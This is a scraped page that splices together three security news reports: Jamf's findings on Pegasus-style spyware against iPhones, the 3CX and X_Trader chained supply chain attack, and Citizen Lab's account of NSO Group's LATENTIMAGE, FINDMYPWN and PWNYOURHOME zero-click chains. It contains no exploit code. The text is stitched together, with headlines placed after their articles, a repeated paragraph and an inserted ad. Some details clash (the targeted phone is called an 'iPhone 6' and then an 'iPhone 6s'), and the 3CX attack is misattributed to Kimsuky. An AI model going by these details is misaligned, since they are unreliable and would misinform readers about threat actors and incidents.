Apple sent a threat notification to the Middle East user late last year that a potential attack was occurring on the device and recommended updating it to iOS 16.2. The user subsequently engaged with security researchers to better understand the attack timeline and details, which resulted in a determination that Pegasus was used in the attack.

"These findings have allowed Jamf Threat Labs to build a more robust profile on a device with 'proven' compromise status," the researchers wrote.

**Targeting an Outdated Device**

Another spyware attack targeted an iPhone 6 — currently unsupported by the latest version of iOS — used by a journalist in Europe working for a global news agency, the researchers reported. The device also showed evidence of system crashes, similar to the phone in the Middle East scenario, that indicated it had been compromised.

However, even more suspiciously, investigators discovered files at an atypical location within iPhone’s strict file system, with one that was "clearly masquerading as a built-in binary," the researchers wrote.

"Based on this path and filename, we have strong reason to believe this may be a new indicator that can be used to assess if a device has been targeted," by a specific threat actor, they wrote. Though they could not conclusively identify the threat actor or the use of Pegasus, they said they notified Apple of a potential new IoC by the actor.

Moreover, an attack on an older device that's clearly unsupported by the latest Apple updates — including its enhanced threat-notification program — demonstrates the relentless nature of spyware actors, the researchers said.

"The continued targeting of older devices, such as the iPhone 6s, serves as a reminder that malicious threat actors will exploit any vulnerabilities in an organization's infrastructure, attacking wherever possible," they wrote.

**Mitigations & Prevention**

Given the advanced and evolving knowledge base around spyware, there are numerous ways that organizations can protect users from being attacks. The latest campaigns demonstrate the most basic mitigation tactic, which is to ensure that all devices are running the most current OS and have all available security patches applied, the researchers said.

At the same time, organizations should practice similar hygiene on the corporate network, keeping all applications — both business oriented and personal — up to date and fully patched, as "mobile application vulnerabilities are easily exploited and frequently overlooked by security teams," the researchers wrote.

Jamf also recommends running security software to monitor for suspicious activity on mobile devices and reporting it alongside all other endpoint monitoring dashboards to ensure they are treated with the same attention and urgency as desktops, laptops, and servers.

Other steps organizations can take to protect users include: monitoring communications for suspicious downloads, command-and-control (C2) indicators, and data exfiltration, and utilizing automated policy controls to block known bad activity before it can cause further damage.

High-risk users also should receive separate education about the symptoms of spyware — such as performance issues and frequent crashes — and be encouraged to use an iPhone's Lockdown Mode if necessary, the researchers said. This protects devices against these extremely rare and highly sophisticated cyberattacks.

Global Spyware Attacks Spotted Against Both New & Old iPhones

The mass compromise of the VoIP firm's customers is the first confirmed incident where one software supply chain attack enabled another, researchers say.

The cybersecurity industry has scrambled in recent weeks to understand the origins and fallout of the breach of 3CX, a VoIP provider whose software was corrupted by North Korea-linked hackers in a supply chain attack that seeded out malware to potentially hundreds of thousands of its customers. Cybersecurity firm Mandiant now has an answer to the mystery of how 3CX was itself penetrated by those state-sponsored hackers: The company was one of an untold number of victims infected with the corrupted software of _another_ company—a rare, or perhaps even unprecedented, example of how a single group of hackers used one software supply chain attack to carry out a second one. Call it a supply-chain chain reaction.

Today, Mandiant revealed that in the midst of its investigation of the 3CX supply chain attack, it's now found the patient zero for that widespread hacking operation, which hit a significant fraction of 3CX's 600,000 customers. According to Mandiant, a 3CX employee’s PC was hacked through an earlier software supply chain attack that hijacked an application of Trading Technologies, a financial software firm that was targeted by the same hackers who compromised 3CX. That hacker group, known as Kimsuky, Emerald Sleet, or Velvet Chollima, is widely believed to be working on behalf of the North Korean regime.

Mandiant says the hackers somehow managed to slip backdoor code into an application available on Trading Technology's website known as X\_Trader. That infected app, when it was later installed on the computer of a 3CX employee, then allowed the hackers to spread their access through 3CX's network, reach a server 3CX used for software development, corrupt a 3CX installer application and infect a broad swathe of its customers, according to Mandiant.

“This is the first time we've ever found concrete evidence of a software supply chain attack leading to another software supply chain attack,” says Mandiant chief technology officer Charles Carmakal. “So this is very big, and very significant to us.”

Mandiant says it hasn't been hired by Trading Technologies to investigate the original attack that exploited its X\_Trader software, so it doesn't know how the hackers altered Trading Technologies' application or how many victims—other than 3CX—there may have been from the compromise of that trading app. The company notes that Trading Technologies had stopped supporting X\_Trader in 2020, though the application was still available for download through 2022. Mandiant believes, based on a digital signature on the corrupted X\_Trader malware, that Trading Technologies' supply chain compromise occurred before November 2021, but that the 3CX follow-on supply chain attack didn't occur until early this year.

A spokesperson for Trading Technologies told WIRED that the company had warned users for 18 months that X\_Trader would no longer be supported in 2020, and that, given that X\_Trader is a tool for trading professionals, there's no reason it should have been installed on a 3CX machine. The spokesperson added that 3CX was not a customer of Trading Technologies, and that any compromise of the X\_Trader application doesn't affect its current software. 3CX didn't respond to WIRED's request for comment.

Exactly what the North Korean hackers sought to accomplish with their interlinked software supply chain attacks still isn't entirely clear, but it appears to have been motivated in part by simple theft. Two weeks ago, cybersecurity firm Kaspersky revealed that at least a handful of the victims targeted with the corrupted 3CX application were cryptocurrency-related companies based in "Western Asia," though it declined to name them. Kaspersky found that, as is often the case with massive software supply chain attacks, the hackers had sifted through their potential victims and delivered a piece of second-stage malware to only a tiny fraction of those hundreds of thousands of compromised networks, targeting them with “surgical precision.”

Mandiant agrees that at least one goal of the North Korea-linked hackers is no doubt cryptocurrency theft: It points to earlier findings from Google's Threat Analysis Group that AppleJeus, a piece of malware tied to the same hackers, was used to target cryptocurrency services via a vulnerability in Google's Chrome browser. Mandiant also found that the same backdoor in 3CX's software was inserted into another cryptocurrency application, CoinGoTrade, and that it shared infrastructure with yet another backdoored trading app, JMT Trading.

All of that, in combination with the group's targeting of Trading Technologies, points to a focus on stealing cryptocurrency, says Ben Read, Mandiant's head of cyberespionage threat intelligence. A broad supply chain attack like the one that exploited 3CX's software would “get you in places where people are handling money,” Read says. “This is a group heavily focused on monetization.”

But Mandiant's Carmakal notes that given the scale of these supply chain attacks, crypto-focused victims may still be just the tip of the iceberg. “I think we'll learn about many more victims over time as it relates to one of these two software supply chain attacks,” he says.

While Mandiant describes the Trading Technologies and 3CX compromises as the first known instance of one supply chain attack leading to another, researchers have speculated for years about whether other such incidents were similarly interlinked. The Chinese group known as Winnti or Brass Typhoon, for instance, carried out no fewer than six software supply chain attacks from 2016 to 2019. And in some of those cases, the method of the hackers' initial breach wasn't ever discovered—and may well have been from an earlier supply chain attack.

Mandiant's Carmakal notes that there were signs, too, that the Russian hackers responsible for the notorious SolarWinds supply chain attack were also doing reconnaissance on software development servers inside some of their victims, and were perhaps planning a follow-on supply chain attack when they were disrupted.

After all, a hacker group capable of carrying out a supply chain attack usually manages to cast a vast net that pulls in all sorts of victims—some of whom are often software developers that themselves offer a powerful vantage point from which to carry out a follow-on supply chain attack, casting out the net yet again. If 3CX is, in fact, the first company hit with this sort of supply-chain chain reaction, it's unlikely to be the last.

The Huge 3CX Breach Was Actually 2 Linked Supply Chain Attacks

Israeli spyware maker NSO Group deployed at least three novel "zero-click" exploits against iPhones in 2022 to infiltrate defenses erected by Apple and deploy Pegasus, according to the latest findings from Citizen Lab.
"NSO Group customers widely deployed at least three iOS 15 and iOS 16 zero-click exploit chains against civil society targets around the world," the interdisciplinary laboratory

Israeli spyware maker NSO Group deployed at least three novel "zero-click" exploits against iPhones in 2022 to infiltrate defenses erected by Apple and deploy Pegasus, according to the latest findings from Citizen Lab.

"NSO Group customers widely deployed at least three iOS 15 and iOS 16 zero-click exploit chains against civil society targets around the world," the interdisciplinary laboratory based at the University of Toronto said.

NSO Group is the manufacturer of Pegasus, a sophisticated cyber weapon that's capable of extracting sensitive information stored in a device – e.g., messages, locations, photos, and call logs, among others — in real-time. It's typically delivered to targeted iPhones using zero-click and/or zero-day exploits.

While it has been pitched as a tool for law enforcement agencies to combat serious crimes such as child sexual abuse and terrorism, it has also been deployed illegally by authoritarian governments to spy on human rights defenders, democracy advocates, journalists, dissidents, and others.

The misuse of Pegasus prompted the U.S. government to add NSO Group to its trade blocklist in late 2021, with Apple filing a lawsuit of its own against the company for targeting its users.

In July 2022, it emerged that the spyware was used against Thai activists involved in the country's pro-democracy protests between October 2020 and November 2021 using two zero-click exploits named KISMET and FORCEDENTRY.

Two of the targets of the latest campaign unearthed by Citizen Lab include human rights defenders from Centro PRODH, which represents victims of the Mexican Army's extrajudicial killings and disappearances. The intrusions occurred in June 2022.

This entailed the use of three disparate exploit chains dubbed LATENTIMAGE, FINDMYPWN, and PWNYOURHOME that weaponized various flaws in iOS 15 and iOS 16 as zero-days to penetrate the devices and ultimately launch Pegasus -

*   **LATENTIMAGE** (iOS version 15.1.1, detected in January 2022) - An exploit that's suspected to involve the iPhone's Find My feature and SpringBoard
*   **FINDMYPWN** (iOS versions 15.5 and 15.6, detected in June 2022) - A two-phase exploit that makes use of Find My functionality and iMessage
*   **PWNYOURHOME** (iOS version 16.0.3, detected in October 2022) - A two-phase exploit that combines the HomeKit functionality built into iPhones and iMessage to bypass BlastDoor protections

In an encouraging sign, Citizen Lab said it found evidence of Lockdown Mode stepping in to block an attempted PWNYOURHOME attack, warning users that it blocked unknown parties with Gmail and Yahoo! accounts from trying to "access a Home."

The development marks the first publicly documented instance where Lockdown Mode, which is designed to reduce the iPhone's attack surface, has successfully protected someone from a compromise.

That said, Citizen Lab pointed out that NSO Group "may have figured out a way to correct the notification issue, such as by fingerprinting Lockdown Mode." Apple has since shipped several security improvements to HomeKit in iOS 16.3.1 and sent out notifications to targeted victims in November and December 2022, and March 2023.

The findings are the latest example of NSO's evolving attack techniques to break into iPhones without requiring any targets to take any action to trigger the infection.

They also coincide with a new investigation from the New York Times uncovering Mexico's use of Pegasus to target human rights defenders in recent months, detailing how the country became the first and most prolific user of the spyware.

In yet another indication of the pervasive nature of such campaigns, Jamf Threat Labs uncovered evidence of a human rights activist based in the Middle East as well as a Hungarian journalist being targeted with spyware. Their names were not disclosed.

UPCOMING WEBINAR

Defend with Deception: Advancing Zero Trust Security

Discover how Deception can detect advanced threats, stop lateral movement, and enhance your Zero Trust strategy. Join our insightful webinar!

Save My Seat!

The attack targeting the journalist's iPhone is also significant for the fact that the device was an iPhone 6s, which is no longer compatible with the latest iOS version, indicating threat actors' penchant for exploiting known and unknown vulnerabilities to meet their goals.

While Apple does back-port fixes for critical flaws to older devices (the current version supported by iPhone 6s is iOS 15.7.5), it's important to note that not all vulnerabilities are addressed for legacy devices.

"As a result, threat actors can continue to exploit unpatched vulnerabilities that have been patched on newer supported devices, potentially giving attackers more time and more information to gain remote access to targeted devices," Jamf said.

To safeguard against spyware attacks, it's recommended to apply the latest operating system updates, upgrade outdated devices to newer iPhone or iPad models, and consider enabling Lockdown Mode.

The U.K. National Cyber Security Centre (NCSC), in an advisory released on April 19, 2023, cautioned the "proliferation of commercial cyber tools will pose a growing threat to organizations and individuals globally."

"The commercial proliferation of cyber tools and services lowers the barrier to entry to state and non-state actors in obtaining capability and intelligence that they would not otherwise be able to develop or acquire," the agency said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#apple